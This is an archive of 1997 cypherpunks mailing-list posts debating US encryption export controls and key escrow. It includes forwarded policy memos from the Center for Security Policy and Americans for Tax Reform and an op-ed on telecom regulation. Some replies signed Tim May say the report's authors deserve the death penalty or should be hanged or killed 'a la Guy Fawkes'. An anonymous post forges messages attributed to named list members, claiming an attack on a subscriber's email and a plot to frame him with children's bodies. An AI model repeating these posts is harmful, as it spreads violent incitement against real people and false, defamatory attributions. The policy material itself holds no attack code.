supercomputers.

President Clinton has already issued an Executive
Order substantially liberalizing the export of
powerful encryption capabilities. Under its terms,
encryption programs involving up to 40-bit keys (in
layman's terms, the number of variables used in
combination to conceal a given piece of encrypted
message traffic, one of several factors determining
the robustness of an encryption program) can be
exported without a license. The Executive Order also
permits programs of any strength to be exported
provided they have a "key recovery" capability (i.e.,
a code-breaking spare key has been created) -- even if
that key resides with the purchaser of such
encryption.

Civil libertarians -- including some conservatives
with well-deserved reputations for concern about U.S.
national security -- have taken the position that
techniques which impede or preclude government
monitoring of electronic transmissions are highly
desirable. Their enthusiasm for the most widespread
proliferation of encryption techniques, both
domestically and internationally, provides tremendous
political cover for others with more suspect
motivations.

Counter-culture opponents of U.S. government power,
including some holding high office in the Clinton
Administration, appear untroubled by the diminution of
American capabilities to perform signals intelligence
-- historically an area of decisive and strategically
vital advantage for the United States.(1) Evidently,
they are no more concerned by the other side of this
coin: Thanks to the Clinton-approved transfer of
American supercomputers and other powerful data
processing systems, foreign governments are likely to
have much enhanced capabilities to perform their own
code-breaking operations, further reducing U.S.
dominance in the field.

The Legislative Context

Against this backdrop, several bills have been
introduced reflecting two basic approaches. The first
sponsored by Senators Conrad Burns (R-MT) and Patrick
Leahy (D-VT) in the Senate and by Rep. Robert
Goodlatte (R-VA) in the House would essentially
eliminate controls on the export of encryption. This
legislation is favored by the computer software and
hardware industries and a number of civil
libertarians. Senate Majority Leader Trent Lott has
thrown his support behind the Burns-Leahy bill.

A bill recently introduced by Senator John McCain,
chairman of the Senate Commerce Committee, presents an
alternative approach. It attempts to "split the
difference," addressing domestic law enforcement
concerns by way of creating incentives for U.S.
manufacturers to participate in a key management
infrastructure (i.e., establishing means whereby
federal agencies, with appropriate court orders, can
obtain the ability to read encrypted communications).
While the incentives to do so are significant, the
companies would be under no requirement to take part
in this arrangement.

As a sop to the encryption industry, however, the
McCain legislation would make several concessions that
could be injurious to the national security. First, it
would raise the threshold for unlicenced exports from
40 bits to 56 bits. This represents a dramatic
increase in the power of encryption programs that will
find their way into the hands of hostile powers,
international terrorists and other foreign criminal
elements -- and will add dramatically to the time and
computing power required by U.S. intelligence to
monitor their activities.

Second, the McCain legislation calls for the creation
of an industry-government advisory board tasked to
consider and jointly develop recommendations
concerning future standards for encryption exports.
Such an arrangement would put those responsive to
multinational stockholders on an essentially equal
footing with government agencies responsible for the
national security. In addition, the bill would mandate
foreign-availability assessments -- a pretext
frequently used by industry to argue for even the most
irresponsible transfers of U.S. technology.(2)

Parsing Out the Issues

There are, in fact, three separate issues involved in
the present encryption debate -- issues that have, to
some extent, been commingled by the Clinton
Administration, it appears in an effort to obscure
what is at stake for a vital national security
capability.

1. Domestic Policy

Encryption products are the future for the privacy and
security of communications and information. Americans
have a right to be secure in the knowledge that their
private communications and information remain private,
and that they can conduct electronic commercial
transactions reasonably safe from fraud or compromise.
Security embedded in consumer goods (as well as in
information systems) needs to become a common part of
how business works in this country. There is today no
restriction on the use of encryption within the United
States. Americans may import any encryption devices
and software into the U.S. There are, however,
restrictions on the export of U.S. encryption items.

Unfortunately, encryption in the hands of domestic
criminals can be a menace to American business and
society, enabling them to hide illicit records and
transactions. For law enforcement today, encrypted
communications mean no electronic surveillance.
Court-ordered wiretaps may be unenforceable. Because
of the importance of court-ordered electronic
surveillance to law enforcement, law enforcement
agencies across the country believe the impact of
widely proliferating encryption will be disastrous for
them, unless they have a means of lawfully and
promptly decrypting communications and information of
criminal suspects.

Accordingly, the United States requires common
standards for accessing encrypted data and
communications (known as "key recovery"). Importantly,
such standards are required not only by law
enforcement but in order to support commercial needs
(for example, companies need to be able to get at
their electronic records if the person who encrypted
them dies or turns into a vindictive disgruntled
employee). Consumers also have a vested interest in
ensuring that standards exist whereby they can be
assured that encryption will be reliable and easily
interoperable (e.g., to manage interfaces between
various network systems). A domestic public key
recovery infrastructure is the answer to these
requirements,

A public key recovery infrastructure is, however,
particularly essential for law enforcement.
Increasingly, criminals are utilizing techniques to
encode their phone calls, concealing their computer
transmissions and keeping their records locked up in
encrypted computer disks or drives, rather than in
file cabinets. Subject to the limits of U.S.
constitutional guarantees, law enforcement needs to be
able to continue to do its job in the information age.
Law enforcement does not need more intrusive
authorities or abilities than it has now; it needs
merely to be able to continue to be able to make use
of the same investigative techniques presently
available with respect to wiretaps.

Alternatively, if the government does nothing but
passively watch as encryption proliferates with no
standards to guide it, law enforcement will lose
critical investigative capabilities. In all
likelihood, it will be forced to turn to more
intrusive techniques (microphones in the room or car
rather than taps on telephones), measures that are
more invasive of privacy and which put more police
officers' lives at risk. Criminals (drug dealers,
kidnappers, thieves) will enjoy safe havens they do
not presently have, and more good citizens will find
themselves victims of unsolved crimes.

Regrettably, the Clinton Administration has been
unwilling to stand up and say, here is what needs to
be done -- perhaps out of a fear of alienating a key
constituency, the computer industry. The
Administration clearly appreciates the need to support
law enforcement (law and order is, after all, good
politics). But when asked, its spokesmen say they are
afraid their endorsement of a domestic policy would
prejudice its chances of enactment, citing their
experience with the public relations disaster of an
earlier encryption management initiative known as the
"Clipper Chip." The truth is that there is no one
better positioned than President Clinton to provide
leadership, given his well known ties to the hardware
and software industries.

2. Export Controls

In some respects, the Clinton Administration's policy
has been worse than doing nothing: It has tied the
domestic encryption issue to liberalizing export
controls on encryption techniques, ostensibly in the
hopes of buying the support of the producers of
encryption products for greater cooperation with
regard to domestic key management arrangements. This
is most regrettable since export controls are the
single most important tool the United States has for
protecting sensitive national security interests in
this arena.

The unavoidable reality is that U.S. national security
is heavily dependent on being able to collect
intelligence by listening in on what its adversaries
-- actual and potential -- are up to. This
intelligence saves lives, wins wars, and preserves the
peace. And in an era of information warfare, having
superior information systems may be determinative of
military power.

This reality was reflected until last year by treating
encryption technologies as part of the State
Department's Munitions Control List. President
Clinton's Executive Order, however, moved export
controls on such technology over to the much less
rigorous Commerce Department. It also further
adulterated the export controls regime by directing
that: 40-bit encryption programs may be exported
without a license; 56-bit encryption programs may be
exported without a license provided the exporter is
working on a public key recovery technology base; and
any product that is part of a public key recovery
system may be exported without a license.

American products should enjoy the lion's share of the
market (U.S. software has 75% of the global market
today), but U.S. exporters of highly capable "crypto"
-- 40-bit and above -- should be required to get a
license to minimize the likelihood that their products
will fall into the wrong hands. Any further weakening
of export controls would have a deeply debilitating
impact on national security. With all of the focus on
domestic encryption regime, and with no advocacy from
the Executive Branch, national security interests are
not being represented -- and are losing out.

3. International Dimension

To make matters worse, the Clinton Administration --
under the "leadership" of a controversial former
Carter Administration official, David Aaron, who has
been designated as its "Ambassador for Encryption" --
has come up with a curious and dangerous gimmick: It
proposes to "multilateralize" yet another area of
sovereign U.S. policy concern(3) by getting OECD
nations to take the lead in an area it is reluctant to
champion domestically, namely in implementing national
key recovery regimes.

As in other issues -- ranging from environmental
regulation to family planning -- the Administration
appears to hope that the creation of common
international practice and standards will provide a
basis for imposing arrangements domestically that
would otherwise be highly controversial, and perhaps
politically costly. Not surprisingly, the
Administration has come under some criticism from
allies for the hypocrisy of trying to make them go
first with respect to developing key recovery
infrastructures even as it declines to step up to the
issue at home.

But this is worse than simple hypocrisy. It is flatly
inconsistent with American values for U.S. officials
to argue that foreign governments -- many of which do
not recognize the basic individual rights of their
citizens -- should have unfettered access to their
private communications. Few of these governments
actually observe the strict limitations on electronic
surveillance which pertain in the United States. It is
one thing for the U.S. to have a domestic key recovery
regime which is subject to the rigorous and proper
constraints of its Constitution and system of justice.
It is quite another to say that, as a foreign policy
objective of this country, Washington wants to
guarantee the ability of foreign governments to spy on
their own citizens, or (worse) on Americans who may
communicate with those foreign citizens or travel
within those countries.


The Bottom Line

The Clinton Administration appears once again to have
gotten the answers exactly wrong. Their efforts have
confused the debate and helped to divide the ranks of
those who generally are concerned with national
security -- even as they are jeopardizing vital
national security interests, evidently out of a desire
to avoid antagonizing major political donors.

Domestic policy, export controls, and international
accords concerning encryption are different concerns,
each in need of understanding and debate on the
merits. And the vital American national security
requirement for electronic intelligence abroad must be
supported. On an even more fundamental level, those
who traditionally are sensitive to national security
concerns must not allow differing perceptions of
domestic law enforcement to translate into legislation
that may not only endanger the defense of the United
States but undermine its rule of law domestically. A
lawless society is no defender of American liberties.

The undeniable fact is that U.S. national security is
dependent upon our ability to collect intelligence in
peacetime on foreign threats, from terrorist groups to
the proliferation of "weapons of mass destruction" to
the status of thousands of nuclear-tipped missiles in
potentially unfriendly hands. Likewise, success in
foreign matters (from trade to diplomacy to support
for friends and allies) requires intelligence to
identify opportunities for the U.S. officials to act
in defense of our values and interests around the
world.

The U.S. ability to gather SIGINT therefore is not
something about which responsible Americans can afford
to be ambivalent. This is a vital national security
priority. And it is, to be sure, one that must take
precedence over the commercial advantages of selling
U.S. software abroad.

1. During both World War II and the half century of
the Cold War, SIGINT was far and away the most
important type of intelligence the U.S. gathered.
Without the ability to collect and read enemy codes
and ciphers, the U.S. might well have lost the Second
World War. Without SIGINT, the Cold War might have
ended far differently and might well have turned into
a hot war at critical junctures; certainly, the U.S.
would have been almost blind to many of the Soviet
Union's malevolent activities.

2. It is unclear on what basis other industries
selling sensitive products -- for example, the
supercomputer, chemical and biotechnology, machine
tool, chip manufacturers, etc. -- would be denied
similar vehicles for demanding the elimination of any
remaining export controls on the transfer of their
respective products. What is more, it not self-evident
that the national security will be well served by
advertising which foreign encryption products are of
concern to the U.S. government, let alone encouraging
American manufacturers to supply superior -- i.e.,
less breakable encoding techniques -- in place of such
products.

3. See in this connection, the Center's Decision Brief
entitled Truth or Consequences #9: C.W.C. Proponents
Dissemble About Treaty Arrangements Likely to Disserve
U.S. Interests (No. 97-D 46, 27 March 1997).

***************

Americans for Tax Reform

Memo To: Frank
From:    Jim Lucier
CC:	     Friends
Date:	 June 26, 1997

Re:	Encryption and National Security

Dear Frank:

I think we both agree that total U.S. dominance of all
technologies across the board is a vital guarantor of
national security.  We disagree on factual premises.

The powerful encryption methods under discussion are
universally published mathematical techniques taught
in universities everywhere to people like my brother
who studied them at the undergraduate level. I
particularly recommend the fine textbook by Bruce
Schneier, Applied Cryptography.

It is a mistake to assume this information, once
disseminated, can be controlled.  It is also incorrect
to assume there is only one type of encryption which
the U.S. could somehow keep secret.  In fact, there
are an infinite variety of techniques, some more
elegant than others and all with their quirks, but
many offering effective security.  Indeed, almost any
routine that manipulates data --including file
compression algorithms -- can be considered a type of
encryption.

The case of encryption is dramatically unlike that of
supercomputers, where one or two manufacturers in the
U.S. may be uniquely capable of producing cutting edge
equipment.

Bad actors will not voluntarily participate in a key
management system they can easily opt out of. The
impact on crime will be zero. Only law-abiding people
will be trapped in a system that opens them to maximal
violations of privacy by governments and technically
sophisticated rogue agents.

This is not a case of greedy software companies that
want to "sell encryption" overseas. In fact,
encryption software is a low-margin commodity product
that only a few specialists sell profitably.  U.S.
companies want to sell high-margin products like Lotus
Notes, cc:Mail, Domino, secure servers, and Oracle
databases, and sophisticated financial management
tools that operate in a networked environment. U.S.
companies dominate the market for these
enterprise-wide, mission-critical applications.  For
now.

The problem is that without encryption modules, the
American products are useless for conducting secure
business, and the power of networking, which gives
them their unique value-added quality, is eliminated.
U.S. regulations even prohibit American companies from
selling software with "hooks," where foreign-made
encryption products can be plugged in.  The result is
increasing inroads by foreign competitors.  The
German, Japanese, and Chinese governments are
pointedly encouraging their programmers to make hay
while they can. Dozens of companies around the world
explicitly advertise that they sell products not
subject to U.S. export restrictions.

There is also the chance that the United States will
lose the opportunity to set and dominate standards in
vital areas such as digital currency, which involve
encryption now subject to control.  Currently,
Europeans lead in this field.

The use of telephone wiretaps has exploded under the
Clinton Administration, and under legislation passed
last year the number of people impacted by telephone
wiretaps is slated to grow still further. For many,
this gives ample ground to doubt that wiretaps are
used sparingly, or that cases of abuse are minimal.

The real restraint on the use of telephone wiretaps is
that they are very expensive, and they require human
intervention.  Technology does not yet allow machines
to monitor calls.  On the Internet, by contrast,
"packet sniffing" is virtually cost-free, and the
packets of data are machine readable. Thus there is
nothing to prevent widespread abuse of privacy.  The
single-sentence Frist Amendment to McCain-Kerrey which
purports to solve this problem is totally meaningless.

The claims of law enforcement are wildly exaggerated
and not offered in the context of any statistical
evidence to make serious risk assessment possible.
Strong encryption is dangerous?  Compared to what?  No
encryption? A government-sponsored system only
incompetent criminals will use?

For decades people have been predicting the death of
SIGINT.  It never happens. The reason is that as the
volume of communications goes up, the opportunities
for SIGINT also increase. In a networked environment,
virtually any interaction with legitimate businesses,
and even public infrastructure, can create a database
of transaction streams greatly useful to law
enforcement and intelligence agencies, who can examine
this data with powerful heuristic searching tools. The
information age will give, and is giving, law
enforcement officers and intelligence agencies
astonishing new powers. Law enforcement officials who
claim they will be powerless in the future are being
somewhat disingenuous. What really worries them is
missing the opportunity to gain powers they dont have
now, plus the stress of learning to operate in a
different environment.

The key management infrastructure (KMI) called for in
McCain-Kerrey is a fiction.  Detailed technical
standards for such an infrastructure do not exist and
may take several years to develop.  A recent technical
paper by leading private-sector cryptographers claims
that the requirements of building a KMI are beyond the
current expertise of the field.  A central problem is
that the Justice Department's insistence on real-time
access to data in transit is not consistent with
existing models of key recovery for stored data.

If KMI works, it offers no advantage and many grave
dangers.  If it doesn't work, it is a costly drain on
the economic sectors currently driving U.S. economic
growth. A global KMI in which the U.S. arbitrarily
limits its own information security and somehow
expects other countries to participate is an atrocious
idea.

Reasonable people can debate the issue of export
controls.  The weight of evidence suggests that
controls should be loosened, but there can be
legitimate argument  of how far and how quickly we
should go.  The McCain-Kerrey bill is by no means  a
"compromise" on export controls. It is legislation
totally different from the Burns, Goodlatte, and Leahy
proposals Congress has long been considering.  For the
first time, McCain-Kerrey would seek to impose
controls on U.S. domestic use of cryptography through
a combination of regulation, criminal penalties, civil
liability exposure, and taxpayer-financed industrial
policy.

It is highly significant that the Administration
forced this legislation through the Commerce Committee
without a single day's hearings. Senators were given
only three days to study the legislation and supplied
with misleading and incorrect information about who
supported it.  McCain-Kerrey probably could not have
withstood public scrutiny in the Commerce Committee.
As it is, the bill will very likely never move to the
Senate Floor, but the Administration now has
substantial leverage to pursue its regulatory agenda.

The relaxation of exportable key lengths from 40- to
56-bits is not a sop to industry but a pathetic
offering that raises the time-to-break for a foreign
intelligence agency stealing U.S. trade secrets from
..0002 seconds to 12 seconds.  McCain-Kerrey actually
represents a step backward from previous
Administration positions on the issue of export
controls and exemplifies the bad faith and
intransigence this Administration has consistently
shown.  Last year, for instance, the Administration
announced it was relaxing export controls from 40 to
56 bits and then reversed itself, saying the
relaxation, if offered, would only be temporary and
contingent on businesses developing plans to comply
with Administration key-recovery standards.  In short,
the Administration has been using export controls
solely as a club to get unprecedented domestic
regulation.

In economic terms, McCain-Kerrey represents a stunning
arrogation of power by Congress to itself for the
purposes of regulating digital commerce which, as the
digital age begins, is probably at least as
significant as the Communications Act of 1934.  This
makes the "three days-no hearings" approval process in
committee all the more astonishing.

A vigorous national security debate is welcome on this
issue.  The issue of encryption involves profoundly
difficult choices and any decisions we make must be
taken with grave deliberation and great care.  We can
postpone these choices but we cannot put them off
forever. Ultimately, these decisions turn on findings
of fact as to whether control of encryption is still
possible. The Administration has made no effort to
show its entire proposal is not based on wishful
thinking and a regulatory mindset.

The United States does have enormous investment in its
SIGINT capabilities, which are many and varied.  These
will also not disappear overnight. But tomorrow will
not be like today.  Peter Drucker has written movingly
of the stress undergone by companies who feel they owe
their existence to a particular product but who
discover that markets have changed and they must do
something different.  Companies that succeed are the
ones that can innovate.  A similar mindset is in order
for national security policy. The United States has
always competed by out-innovating our adversaries, and
on this basis we have always won.

The risk to be avoided all costs is a Maginot Line
mentality. French planners obsessed with fighting the
first World War lavished untold fortunes and
considerable engineering brilliance on a structure
that was not only useless in the following conflict
but locked France into a defensive posture that
guaranteed France would be defeated in days by the
Germanys mechanized army.

The fundamental national security interest of the
United States is best served by total dominance of
world markets in information technology as well as
information technology products and services,
financial services, telecommunications and a host of
other fields.  Our goal should be raw commercial power
in all these areas -- especially information products
and information flows -- backed by impressive military
and intelligence capabilities. However, we do not reach
this goal by saddling U.S. business with irrational
regulation and ill-conceived industrial policy.

When U.S. companies dominate the world markets for
advanced management software which foreign businesses
must use to remain competitive and telecommunications
services which have no equal on the planet, there is
tremendous scope for the NSA to work productively with
U.S. business. Indeed, the national security community
has long enjoyed such a relationship, and law
enforcement agencies are well-advised to develop one.
The essence of such a relationship, however, is that
it must be maintained quietly.  We do not need to
advertise worldwide exactly how the United States
plans to conduct its foreign intelligence or how law
enforcement agencies, in truly exceptional and
Constitutionally permissible cases, plan to conduct
domestic surveillance.

Meanwhile, we must remember that the United States has
the most to protect in terms of intellectual property,
proprietary knowledge, global business dealings, and
critical information infrastructures that keep all
aspects of our societyincluding the military and
strategic onesrunning smoothly.  We should be the
worlds masters of encryption, the tools to break it,
and the ways of getting around it. We should protect
our information security by having a diversified
environment that relies on no one government-mandated
information standard.

It should be a stated goal of U.S. policy in the
Information Age and the global economy to force
totalitarian societies and welfare states to play by
our rules or collapse. Our friends in Europe need a
wakeup call.  Our trusted allies in Asia need
reassurance the United States can still exert powerful
influence in their region.  Developing nations need
the model of U.S. economic growth. Russia must see
unthreatening but overwhelming U.S. power.  The
Chinese regime should experience outright
destabilization when its totalitarian system breaks
down under a coordinated U.S. information technology
assault through peaceful means such as Radio Free Asia
and Internet communication. These are worthy goals,
and they are eminently attainable, as long as
technology boondoggles dont sidetrack us along the
way.

In short, I salute you for making the best possible
case for caution at a time when caution is due.
However, it is also a time to examine a changing world
carefully and prepare for the future as best we can.
Let's set our sights on a new American Century.



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/











From declan at well.com  Thu Jul 17 16:37:48 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 18 Jul 1997 07:37:48 +0800
Subject: PFF's Jeff Eisenach: "Time to Walk the Walk on Telecom Policy"
Message-ID: 



---------

July 2,1997

Time to Walk the Walk on Telecom Policy

by Jeffrey A. Eisenach
The Progress & Freedom Foundation

Thanks to Ira Magaziner -- of all people -- the
Clinton Administration has finally learned to talk the
free market talk that brings joy to denizens of the
Internet. Now, as always with this Administration, the
question is whether it will also walk the walk.

Magaziner deserves real credit for crafting the
Administration's new "Framework for Global Electronic
Commerce." In language that could have come from the
Cato Institute (or my own Progress & Freedom
Foundation), it credits the amazing growth of the
Internet to the relative absence of intrusive
government regulation. And it concludes that the
Internet should remain "a market-driven arena, not one
that operates as a regulated industry."

The paper -- and the process that created it -- has
already had a salutary impact on Administration
policy. The White House has now backed away from its
previous support of the Communications Decency Act in
favor of "industry self-regulation, adoption of
competing rating systems and development of
easy-to-use technical solutions." And last month,
Treasury Undersecretary Larry Summers, reportedly at
Magaziner's urging, had very positive things to say
about the "no new taxes on the Internet" legislation
sponsored by Congressman Chris Cox and Senator Ron
Wyden.

The Administration's conversion to a free market view
of the Internet is, however, far from complete -- even
rhetorically. Most importantly, the Framework's
treatment of telecommunications regulation amounts to
an endorsement of the Federal Communications current
policies -- policies that are, if anything, more
regulatory than before passage of the supposedly
deregulatory Telecommunications Act of 1996.

Following the path laid out by Vice President Gore and
outgoing FCC Chairman Reed Hundt, the Framework
ignores the fact that technological innovation is
rapidly ending the "natural monopoly" characteristics
of the market for local telephone (and Internet)
access. What government should be doing in this
context is allowing marketplace incentives to work,
thereby encouraging new technologies and new
competitors to turn the potential for local access
competition into a reality.

What it is doing, under the FCC and with the apparent
blessing of the Framework, is continuing a price
regulatory regime that destroys marketplace incentives
for the development of new technologies and
competitors. The Framework, which begins by stating
that "government attempts to regulate are likely to be
outmoded by the time they are finally enacted," ends
up endorsing the idea of "implementing, by an
independent regulator, pro-competitive and flexible
regulation that keeps pace with technological
development." Nice fantasy -- but in contrast to the
reality of the FCC's implementation of the
Telecommunications Act, it comes off as nothing but a
bad joke.

Telecommunications is not the only problem area with
respect to policy. Most notable among the others:
Encryption, where the Administration stubbornly
adheres to its unworkable, privacy-invading notion of
"key escrow" for encryption software -- i.e., giving
the police the key to your house in advance in case
they decide later they want to conduct a search.

Still, problems aside, what we have from the Clinton
Administration is a real and laudable move -- partly
rhetorical and partly real -- in the direction of less
regulation of the Internet. For the most part, the
Administration is now talking the deregulatory talk.
Will it also walk the walk?

Here are three giant steps that would go along way to
proving the Administration means what it says.

First, will the Administration appoint a new FCC
(there are four vacancies, including the chairmanship)
that understands the idea of dynamic competition to
erode natural monopolies? The FCC's current "managed
competition" approach is inconsistent with the broader
principles of the Framework and hugely destructive to
the innovation and entrepreneurship the paper
emphasizes so strongly. A new Commission would no
doubt want to re-think the Commission's recent rulings
with respect to Interconnection and Universal Service,
both of which represent massively regulatory
approaches to problems the free market can largely
solve.

Secondly, will it specifically endorse the Cox-Wyden
legislation prohibiting discriminatory taxation of the
Internet? Saying nice things about the bill is one
thing; endorsing it and working for passage is
something else.

Third, will the Administration support the new
legislative agenda being developed and soon to be
introduced by Senator Conrad Burns and Congressman
Billy Tauzin (chairs of the Senate and House
telecommunications subcommittees)? Among other things,
this legislation is expected to declare "enhanced
services" (including broadband Internet access
services) an essentially regulation-free zone --
exactly the sort of thing the Framework says the
Administration should support.

Free marketers want to believe the Administration has
seen the light on regulating the Internet. Our message
now is simple: Take three giant steps -- and throw
away on the key on key escrow -- and show us you
really mean it.

###











From tcmay at got.net  Thu Jul 17 17:12:15 1997
From: tcmay at got.net (Tim May)
Date: Fri, 18 Jul 1997 08:12:15 +0800
Subject: Center for Security Policy deserves death penalty
In-Reply-To: 
Message-ID: 



At 4:01 PM -0700 7/17/97, Declan McCullagh wrote:
>---------- Forwarded message ----------
>Date: Thu, 17 Jul 1997 16:00:27 -0700 (PDT)
>From: Declan McCullagh 
>To: fight-censorship-announce at vorlon.mit.edu
>Subject: Center for Security Policy calls for domestic key escrow
>
>In the boxing ring of Washington, the Center for
>Security Policy packs a hefty punch. Its faxed alerts
>appear once or twice a week on the desks of thousands of
>key decisionmakers. They're predictably hawkish, with
>titles like "The Nation Needs MORE B-2s."
>
>A recent one focused on encryption. The message: The
>Clinton administration isn't doing *enough* to control
>crypto, especially domestically:
ture (i.e., establishing means whereby
,,,

Every person associated with that heinous report has earned the death penalty.

It's time to stop talking or listening to these criminals. Only action counts.

(By the way, I think Netscape and Microsoft are coming perilously close to
simply deserving whatever befalls them. Fucking criminals.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Thu Jul 17 17:20:51 1997
From: tcmay at got.net (Tim May)
Date: Fri, 18 Jul 1997 08:20:51 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: 
Message-ID: 



At 4:25 PM -0700 7/17/97, Declan McCullagh wrote:
>---------
>
>July 2,1997
>
>Time to Walk the Walk on Telecom Policy
>
>by Jeffrey A. Eisenach
>The Progress & Freedom Foundation
>
>Thanks to Ira Magaziner -- of all people -- the
>Clinton Administration has finally learned to talk the
>free market talk that brings joy to denizens of the
>Internet. Now, as always with this Administration, the
>question is whether it will also walk the walk.

To use their own Yuppie expression, "will it 'walk the walk' down the gang
plank"?

The only thing the Administration can do is to do _nothing_. Gibberish
about the freedom of the Net while other departments speak of key escrow
and content control is a meaningless gesture.


>easy-to-use technical solutions." And last month,
>Treasury Undersecretary Larry Summers, reportedly at
>Magaziner's urging, had very positive things to say
>about the "no new taxes on the Internet" legislation
>sponsored by Congressman Chris Cox and Senator Ron
>Wyden.

Taxes are already essentially uncollectable, even in interstate
transactions, so the moves by Summers and Magaziner are truly token
gestures.

Their continuing support for GAK and content control are what has earned
them only our vicious enmity.


>Telecommunications is not the only problem area with
>respect to policy. Most notable among the others:
>Encryption, where the Administration stubbornly
>adheres to its unworkable, privacy-invading notion of
>"key escrow" for encryption software -- i.e., giving
>the police the key to your house in advance in case
>they decide later they want to conduct a search.

Oh, yeah, this minor issue of their demanding access to diaries, phone
calls, e-mail, and other computer-mediated communications without so much
as a search warrant.

They all deserve to be hung for treason, or dispatched the old-fashoned way
(a la Guy Fawkes).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tomw at netscape.com  Thu Jul 17 17:49:31 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Fri, 18 Jul 1997 08:49:31 +0800
Subject: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: <33CEB925.3B4C45D7@netscape.com>



Bill Stewart wrote:
> 
> Forwarded from PGP-USERS list:
> > First PGPInc and now VeriSign? Hmmm. Is this telling us something?
> 
>      "VeriSign on Monday said it received permission from
>        the U.S. Department of Commerce to export 128-bit
>        strong encryption software and issue digital
>        identifications to approved organizations based on
>        that software. "
> 
>      "Under the 128-bit scheme approved by the U.S.
>       government Monday, companies will not need to
>       place their encryption keys in escrow, or submit
>       to U.S. government key-recovery requirements in
>      order to use VeriSign's software, company officials said."

What this means is that VeriSign is now allowed to issue the "magic
banking certs" for servers that allow them to communicate with the
export version of Communicator using 128-bit SSL.

On the other hand, it's also meaningless until "approved organizations"
start getting approved.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From tomw at netscape.com  Thu Jul 17 17:50:29 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Fri, 18 Jul 1997 08:50:29 +0800
Subject: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: <33CEBACC.31388B70@netscape.com>



Lucky Green wrote:
> 
> The cert is typically valid for a year, but is subject to revocation
> at any time by VeriSign upon the USG's request. Such revocation or
> refusal to issue a new cert after the first year of operation will
> leave the webserver operator with a server that is no longer able to
> encrypt communications to their customers in any meaningful way,
> thereby effectively shutting down Internet based operations of the
> company unfortunate enough to invest in such a flawed solution.

I don't know the details of the agreement between VeriSign and the
USG.  I'm curious: how will the CRL for this revocation get distributed?
Since Communicator doesn't automatically pull CRLs, how can any action
on VeriSign's part disable crypto for that server?  Or are you
suggesting that as part of the revocation process, the USG will bust
down their doors and grab all copies of their private keys?

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From rah at shipwright.com  Fri Jul 18 08:54:54 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 18 Jul 1997 08:54:54 -0700 (PDT)
Subject: No Subject
Message-ID: 


Hi everyone,


Well, I guess it's official now. I'm going to speak at MacWorld on Thursday
the 7th.

If your planning to go to MacWorld, feel free to stop by and talk about e$
and financial cryptography on the Macintosh.

> ----------------------------------
> * DIGITAL COMMERCE FOR THE REST OF US [Session 92, Thursday 8/7, 4:00-5:15
> pm, World Trade Center] -- What are the fundamental forces in the technology
> of digital commerce? What effect will digital commerce have on society? What
> are Mac's strengths are in this environment? What are some very specific
> things that Apple and the Macintosh community can do, right now, to
> participate as a full partner in the development of digital commerce on
> public networks? What are the technologies that Mac people should concentrate
> on to be first movers in the new geodesic economy? Solo Speaker: BOB
> HETTINGA, Freelance Digital Commerce Analyst, e$, 44 Farquhar Street, Boston,
> MA 02131; http://www.shipwright.com/
> ----------------------------------

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From nobody at REPLAY.COM  Thu Jul 17 18:03:48 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 18 Jul 1997 09:03:48 +0800
Subject: 
Message-ID: <199707180051.CAA13954@basement.replay.com>



William H. Geiger III wrote:
> If you have sent any message to me between 00:00-13:00 GMT-0400 today
> please resend the message.
> Also could someone from the mailing list send me copies of the messages
> that I have missed.

  Happy to oblige.
------------------
Date: Thu, 17 Jul 1997 01:21:41 -0700
To: cypherpunks at Algebra.COM
From: Tim May 
Subject: Geiger's email

  Has anyone knocked out Geiger's email yet?

--Tim May
------------------
Date: Thu, 17 Jul 1997 0:15:24 +0200 (MET DST)
From: Zooko Journeyman 
Message-Id: <199707171415.QAA06056 at xs2.xs4all.nl>
To: cypherpunks at toad.com, neumann at csl.sri.com
Subject: Re: Geiger's email

  Yeah, Lucky Green took care of it.
  We should have a few hours to discuss what we're going to do
to that piece of shit, WG III.

Zooko...Zooko...Zooko
-------------------
Date: Thu, 17 Jul 1997 00:51:46 -0700
From: geeman at best.com
To: cypherpunks at toad.com
Subject: Re: Gieger's email

  I've got the bodies of the children on ice. Steve Schear has the 
superglue and Dimitri has the nails. Peter Neumann just placed an
anonymous call to the FBI, so we're ready to fix that rat bastard.
  Let's take this discussion off-line in case WG III manages to
get his email back on-line.

Gee, Man!
-------------------






From whgiii at amaranth.com  Thu Jul 17 18:32:14 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 18 Jul 1997 09:32:14 +0800
Subject: 
